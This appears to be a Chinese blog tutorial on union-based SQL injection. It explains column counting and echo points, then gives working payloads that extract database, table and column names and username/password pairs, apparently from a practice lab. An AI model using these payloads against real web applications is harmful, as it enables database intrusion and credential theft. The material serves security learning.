当前位置: 首页 > news >正文

15分钟了解sql注入(一) union注入

🏆今日学习目标:
🍀学会阶乘之和题目
✅创作者:贤鱼
🎉个人主页:贤鱼的个人主页
🔥专栏系列:网络安全
请添加图片描述

SQL注入

  • union注入
    • 原理
    • 过程
      • 判断数字或者字符串
      • 判断字段数
      • 判断回显点
      • 注入库名
      • 注入表名
      • 注入列名
      • 查数据

union注入

原理

利用union关键字,union会将前后两次查询结果拼在一起,由于是联合查询,必须保证字段数一致,也就是两个查询结果有相同列数

过程

1 判断数字或者字符串注入类型
2 判断字段数,查询有几个字段
3 判断回显点,有些字段存在但是不会输出内容,我们需要找到会显示的字段数
4 注入库名
5 注入表名
6 注入列名
7 查数据

判断数字或者字符串

输入:
id=1
id=1’
id=1’–+(–+是注释的意思)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

为什么加个单引号会报错,而加个注释又会查询成功呢?
举个栗子:‘xxx xxx xxx’这样子是正常的
‘xxx xxx id’ xxx’ 这样子第二个’是不是就会报错
‘xxx xxx id’–+xxx’这样子后面的‘就被注释掉了,也就不会报错了

判断字段数

上文说过,union前后查询字段数必须一致,所以我们还要对字段数进行判断。在此可以利用order by n进行判断,意思是根据n个字段排序,如果不存在这个字段就会报错

在这里插入图片描述

这里依次查询1,2,3,4,5

在这里插入图片描述

4和5都会报错,所以可以得知,字段数为3
当然 union也是可以用的

在这里插入图片描述

第一个是1查询的,后面三个是1,2,3查询的,1,2,3,4依旧报错

在这里插入图片描述

判断回显点

这里的操作和上文union查询字段数一样

在这里插入图片描述

很明显,字段数3中,我们的1,2,3都输出了,所以回显点就是1,2,3

注入库名

查询到回显点,就要开始注入了,想要注入数据,必须得到他的库名
获得库名可以用database()函数
如图:输入id=-1’ union select 1,2,3 --+

在这里插入图片描述

我们再回显点2位置注入,发现成功获得了库名

在这里插入图片描述

当然,换个位置效果一样
分享几个查询数据库的方法

id=-1' union select 1,database(),3 --+
查看所有数据库名称
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata --+
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata limit1,1 --+ # 查询第2个数据
也可以用group_concat()函数将查询结果内容放入同一行
id=-1' union select 1,group_concat(SCHEMA_name),3 from information_schema.schemata --+

注入表名

有了库名就可以查询表名了

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema='库名' --+

在这里插入图片描述

就可以查询到表名了

注入列名

查询到库名和表名就可以查询列名

d=-1' union select 1,group_concat(column_name),group_concat(data_type) from
information_schema.columns where table_schema='库名' and table_name='表名' --+

在这里插入图片描述

查数据

接下来就是查询数据了

id=-1' union select 1,username,password from security.users limit 0,1 --+
id=-1' union select 1,concat(username,0x5c,password),3 from security.users limit 0,1 --+
id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users
--+

concat() :将两个字段结合成为一个字段

在这里插入图片描述

🏆结束语union注入的大致流程就是这样了,有需要的话订阅一下专栏吧,持续更新的

请添加图片描述

相关文章:

  • 基于混沌映射与差分进化自适应教与学优化算法-附代码
  • nginx基本使用一 ——————反向代理、负载均衡
  • 通讯录管理系统精解
  • 线上展厅表现形式 广州商迪
  • CDH 07Cloudera Manager freeIPA安装配置(markdown新版)
  • 22-09-23 西安 谷粒商城(05)CompletableFuture异步编排、nginx实现页面静态化
  • 【Javaweb】JSP标准标签库
  • (C语言)输入自定义个数的整数,打印出最大值和最小值
  • React受控组件与非受控组件详解
  • Rust(4): 字符串类型
  • [ 常用工具篇 ] POC-bomber 漏洞检测工具安装及使用详解
  • OSG跨平台编译:CMake跨平台安装(Windows、Linux、MacOS环境下安装)
  • OSG学习之一:坐标系
  • 治疗肺炎和脑膜炎的美国生物制药公司【Alopexx】申请纳斯达克IPO
  • Vue基础之事件机制、事件修饰符以及双向数据绑定
  • 2017 年终总结 —— 在路上
  • 77. Combinations
  • JavaScript创建对象的四种方式
  • Java精华积累:初学者都应该搞懂的问题
  • java中的hashCode
  • laravel5.5 视图共享数据
  • LintCode 31. partitionArray 数组划分
  • Stream流与Lambda表达式(三) 静态工厂类Collectors
  • Swift 中的尾递归和蹦床
  • webpack4 一点通
  • 可能是历史上最全的CC0版权可以免费商用的图片网站
  • 类orAPI - 收藏集 - 掘金
  • 前端技术周刊 2018-12-10:前端自动化测试
  • 前端面试之闭包
  • 浅谈Kotlin实战篇之自定义View图片圆角简单应用(一)
  • 深度学习中的信息论知识详解
  • 我感觉这是史上最牛的防sql注入方法类
  • - 转 Ext2.0 form使用实例
  • 《码出高效》学习笔记与书中错误记录
  • ​iOS安全加固方法及实现
  • ###51单片机学习(1)-----单片机烧录软件的使用,以及如何建立一个工程项目
  • (2009.11版)《网络管理员考试 考前冲刺预测卷及考点解析》复习重点
  • (pojstep1.1.1)poj 1298(直叙式模拟)
  • (ZT)北大教授朱青生给学生的一封信:大学,更是一个科学的保证
  • (二)Linux——Linux常用指令
  • (附源码)springboot高校宿舍交电费系统 毕业设计031552
  • (附源码)基于ssm的模具配件账单管理系统 毕业设计 081848
  • (含react-draggable库以及相关BUG如何解决)固定在左上方某盒子内(如按钮)添加可拖动功能,使用react hook语法实现
  • (三)c52学习之旅-点亮LED灯
  • (使用vite搭建vue3项目(vite + vue3 + vue router + pinia + element plus))
  • (四)linux文件内容查看
  • (算法)Game
  • (转)Android中使用ormlite实现持久化(一)--HelloOrmLite
  • (转)Windows2003安全设置/维护
  • (轉貼) UML中文FAQ (OO) (UML)
  • * CIL library *(* CIL module *) : error LNK2005: _DllMain@12 already defined in mfcs120u.lib(dllmodu
  • ***php进行支付宝开发中return_url和notify_url的区别分析
  • *p++,*(p++),*++p,(*p)++区别?
  • . Flume面试题
  • .bat批处理(二):%0 %1——给批处理脚本传递参数